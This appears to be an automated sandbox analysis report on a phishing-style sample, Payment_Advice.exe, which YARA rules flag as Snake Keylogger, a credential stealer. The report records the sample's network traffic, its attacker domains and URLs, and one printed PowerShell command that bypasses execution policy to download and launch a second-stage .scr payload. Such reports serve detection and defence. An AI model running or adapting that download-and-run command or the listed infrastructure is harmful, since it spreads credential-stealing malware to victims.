Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown

HTTPS traffic detected: 172.67.177.134:443 -> 192.168.2.7:49724 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.56.12.145
Source: unknown	TCP traffic detected without corresponding DNS query: 23.56.12.145
Source: unknown	TCP traffic detected without corresponding DNS query: 23.56.12.145
Source: unknown	TCP traffic detected without corresponding DNS query: 23.56.12.145
Source: unknown	TCP traffic detected without corresponding DNS query: 23.56.12.145
Source: unknown	TCP traffic detected without corresponding DNS query: 23.56.12.145
Source: unknown	TCP traffic detected without corresponding DNS query: 23.56.12.145
Source: unknown	TCP traffic detected without corresponding DNS query: 23.56.12.145
Source: unknown	TCP traffic detected without corresponding DNS query: 23.56.12.145
Source: unknown	TCP traffic detected without corresponding DNS query: 23.56.12.145
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /hsbc/Payment_Advice.pdf HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: advising-receipts.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /hsbc/hadvices.scr HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: advising-receipts.com
Source: global traffic	HTTP traffic detected: GET /onboarding/smskillreader.txt HTTP/1.1Host: armmf.adobe.comConnection: keep-aliveAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ReaderServices/23.6.20320 Chrome/105.0.0.0 Safari/537.36Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brIf-None-Match: "78-5faa31cce96da"If-Modified-Since: Mon, 01 May 2023 15:02:33 GMT
Source: global traffic	HTTP traffic detected: GET /xml/149.18.24.96 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/149.18.24.96 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/149.18.24.96 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/149.18.24.96 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/149.18.24.96 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/149.18.24.96 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/149.18.24.96 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/149.18.24.96 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /_send_.php?TS HTTP/1.1Host: scratchdreams.tkConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: advising-receipts.com
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: scratchdreams.tk
Source: global traffic	DNS traffic detected: DNS query: mail.qoldenfrontier.com

Source: powershell.exe, 00000004.00000002.1386246749.000001B481ADE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1386246749.000001B4815DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://advising-receipts.com
Source: hadvices.scr, 00000019.00000002.2455454438.00000000032AF000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.0000000003202000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.00000000032BC000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.00000000032F8000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.0000000003294000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.00000000032A2000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.00000000032E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: hadvices.scr, 00000019.00000002.2455454438.00000000032CA000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.00000000032AF000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.00000000031F3000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.0000000003202000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.0000000003245000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.00000000032BC000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.00000000032F8000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.0000000003294000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.00000000032A2000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.00000000032E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: hadvices.scr, 00000019.00000002.2455454438.0000000003131000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: hadvices.scr, 00000017.00000002.1415714567.0000000003E56000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2449808868.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: svchost.exe, 00000008.00000002.2455799913.000001E16CC00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: qmgr.db.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: Payment_Advice.exe, 00000000.00000002.1196271509.000000000124D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://go.mic
Source: hadvices.scr, 00000019.00000002.2455454438.000000000345C000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.0000000003448000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.000000000343E000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.0000000003430000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.0000000003452000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.0000000003419000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mail.qoldenfrontier.com
Source: powershell.exe, 00000004.00000002.1456507128.000001B490070000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1456507128.000001B4901B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000004.00000002.1386246749.000001B480232000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: hadvices.scr, 00000019.00000002.2455454438.00000000032AF000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.00000000032BC000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.00000000032F8000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.000000000321A000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.0000000003294000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.00000000032A2000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.00000000032E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: powershell.exe, 00000004.00000002.1386246749.000001B480001000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.0000000003131000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: hadvices.scr, 00000019.00000002.2455454438.0000000003306000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://scratchdreams.tk
Source: powershell.exe, 00000004.00000002.1386246749.000001B480232000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000004.00000002.1386246749.000001B480C32000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1386246749.000001B481761000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://advising-receipts.com
Source: powershell.exe, 00000004.00000002.1460184360.000001B4E79D7000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1461548989.000001B4E7D40000.00000004.00000020.00020000.00000000.sdmp, 9D55.vbs.2.dr	String found in binary or memory: https://advising-receipts.com/hsbc/Payment_Advice.pdf
Source: powershell.exe, 00000004.00000002.1460184360.000001B4E79D7000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1386246749.000001B481761000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1461548989.000001B4E7D40000.00000004.00000020.00020000.00000000.sdmp, 9D55.vbs.2.dr	String found in binary or memory: https://advising-receipts.com/hsbc/hadvices.scr
Source: powershell.exe, 00000004.00000002.1386246749.000001B480001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000004.00000002.1456507128.000001B4901B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000004.00000002.1456507128.000001B4901B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000004.00000002.1456507128.000001B4901B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000008.00000003.1274341677.000001E16CA80000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: powershell.exe, 00000004.00000002.1386246749.000001B480232000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000004.00000002.1386246749.000001B480C32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000004.00000002.1456507128.000001B490070000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1456507128.000001B4901B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: qmgr.db.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe1C:
Source: hadvices.scr, 00000019.00000002.2455454438.00000000032AF000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.0000000003202000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.0000000003245000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.00000000032BC000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.00000000032F8000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.0000000003294000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.00000000032A2000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.00000000032E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: hadvices.scr, 00000017.00000002.1415714567.0000000003E56000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.0000000003202000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2449808868.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: hadvices.scr, 00000019.00000002.2455454438.00000000032E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/149.18.24.96
Source: hadvices.scr, 00000019.00000002.2455454438.00000000032AF000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.0000000003245000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.00000000032BC000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.00000000032F8000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.0000000003294000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.00000000032A2000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.00000000032E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/149.18.24.96$
Source: hadvices.scr, 00000017.00000002.1415714567.0000000003E56000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.0000000003131000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.0000000003306000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2449808868.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://scratchdreams.tk
Source: hadvices.scr, 00000019.00000002.2455454438.0000000003306000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://scratchdreams.tk/_send_.php?TS
Source: ReaderMessages.6.dr	String found in binary or memory: https://www.adobe.co

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443

Source: unknown	HTTPS traffic detected: 172.67.141.195:443 -> 192.168.2.7:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.169.18:443 -> 192.168.2.7:49740 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 23.2.hadvices.scr.3e03d90.4.unpack, type: UNPACKEDPE	Matched rule: Detects downloader injector Author: ditekSHen
Source: 0.2.Payment_Advice.exe.5590000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects downloader injector Author: ditekSHen
Source: 0.2.Payment_Advice.exe.404e590.3.unpack, type: UNPACKEDPE	Matched rule: Detects downloader injector Author: ditekSHen
Source: 0.2.Payment_Advice.exe.31018e4.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects downloader injector Author: ditekSHen
Source: 0.2.Payment_Advice.exe.31018e4.0.unpack, type: UNPACKEDPE	Matched rule: Detects downloader injector Author: ditekSHen
Source: 0.2.Payment_Advice.exe.404e590.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects downloader injector Author: ditekSHen
Source: 0.2.Payment_Advice.exe.5590000.4.unpack, type: UNPACKEDPE	Matched rule: Detects downloader injector Author: ditekSHen
Source: 23.2.hadvices.scr.5330000.5.unpack, type: UNPACKEDPE	Matched rule: Detects downloader injector Author: ditekSHen
Source: 23.2.hadvices.scr.3e979f0.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 23.2.hadvices.scr.3e979f0.3.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 23.2.hadvices.scr.3e979f0.3.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 23.2.hadvices.scr.3e979f0.3.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 25.2.hadvices.scr.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 25.2.hadvices.scr.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 25.2.hadvices.scr.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 25.2.hadvices.scr.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 23.2.hadvices.scr.3eb8420.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 23.2.hadvices.scr.3eb8420.2.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 23.2.hadvices.scr.3eb8420.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 23.2.hadvices.scr.3eb8420.2.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 23.2.hadvices.scr.3e979f0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 23.2.hadvices.scr.3e979f0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 23.2.hadvices.scr.3e979f0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 23.2.hadvices.scr.3e979f0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 23.2.hadvices.scr.3eb8420.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 23.2.hadvices.scr.3eb8420.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 23.2.hadvices.scr.3eb8420.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 23.2.hadvices.scr.3eb8420.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 23.2.hadvices.scr.2dbf460.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects downloader injector Author: ditekSHen
Source: 23.2.hadvices.scr.2dc1ca0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects downloader injector Author: ditekSHen
Source: 0.2.Payment_Advice.exe.301f558.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects downloader injector Author: ditekSHen
Source: 0.2.Payment_Advice.exe.3021d98.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects downloader injector Author: ditekSHen
Source: 00000000.00000002.1198685438.0000000005590000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects downloader injector Author: ditekSHen
Source: 00000019.00000002.2449808868.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000019.00000002.2449808868.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000017.00000002.1415714567.0000000003E56000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000017.00000002.1415714567.0000000003E56000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: Process Memory Space: hadvices.scr PID: 3024, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: hadvices.scr PID: 3024, type: MEMORYSTR	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: Process Memory Space: hadvices.scr PID: 8336, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: hadvices.scr PID: 8336, type: MEMORYSTR	Matched rule: Detects Snake Keylogger Author: ditekSHen

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: Payment_Advice.exe

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Windows\Temp\hadvices.scr

Jump to dropped file

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://advising-receipts.com/hsbc/Payment_Advice.pdf' -OutFile 'C:\Users\Public\Payment_Advice.pdf'; Start-Process 'C:\Users\Public\Payment_Advice.pdf'; Invoke-WebRequest -Uri 'https://advising-receipts.com/hsbc/hadvices.scr' -OutFile 'C:\Windows\Temp\hadvices.scr'; Start-Process 'C:\Windows\Temp\hadvices.scr'"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://advising-receipts.com/hsbc/Payment_Advice.pdf' -OutFile 'C:\Users\Public\Payment_Advice.pdf'; Start-Process 'C:\Users\Public\Payment_Advice.pdf'; Invoke-WebRequest -Uri 'https://advising-receipts.com/hsbc/hadvices.scr' -OutFile 'C:\Windows\Temp\hadvices.scr'; Start-Process 'C:\Windows\Temp\hadvices.scr'"			Jump to behavior

Source: C:\Users\user\Desktop\Payment_Advice.exe

Code function: 2_2_00408AF4 NtdllDefWindowProc_W,DestroyWindow,GetWindowLongW,GetWindowTextLengthW,RtlAllocateHeap,GetWindowTextW,DestroyWindow,UnregisterClassW,

2_2_00408AF4

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Source: C:\Users\user\Desktop\Payment_Advice.exe	Code function: 0_2_0145AA28	0_2_0145AA28
Source: C:\Users\user\Desktop\Payment_Advice.exe	Code function: 0_2_01459150	0_2_01459150
Source: C:\Users\user\Desktop\Payment_Advice.exe	Code function: 2_2_0041ABC0	2_2_0041ABC0
Source: C:\Users\user\Desktop\Payment_Advice.exe	Code function: 2_2_0040C4D8	2_2_0040C4D8
Source: C:\Users\user\Desktop\Payment_Advice.exe	Code function: 2_2_0040E4A0	2_2_0040E4A0
Source: C:\Users\user\Desktop\Payment_Advice.exe	Code function: 2_2_0040EE6A	2_2_0040EE6A
Source: C:\Users\user\Desktop\Payment_Advice.exe	Code function: 2_2_00410EF0	2_2_00410EF0
Source: C:\Users\user\Desktop\Payment_Advice.exe	Code function: 2_2_00410290	2_2_00410290
Source: C:\Users\user\Desktop\Payment_Advice.exe	Code function: 2_2_00410359	2_2_00410359
Source: C:\Users\user\Desktop\Payment_Advice.exe	Code function: 2_2_0040FF70	2_2_0040FF70
Source: C:\Users\user\Desktop\Payment_Advice.exe	Code function: 2_2_00410313	2_2_00410313
Source: C:\Users\user\Desktop\Payment_Advice.exe	Code function: 2_2_0040AF87	2_2_0040AF87
Source: C:\Users\user\Desktop\Payment_Advice.exe	Code function: 2_2_0040FF90	2_2_0040FF90
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFAACCA210E	4_2_00007FFAACCA210E
Source: C:\Windows\Temp\hadvices.scr	Code function: 23_2_0157AA28	23_2_0157AA28
Source: C:\Windows\Temp\hadvices.scr	Code function: 23_2_01579150	23_2_01579150
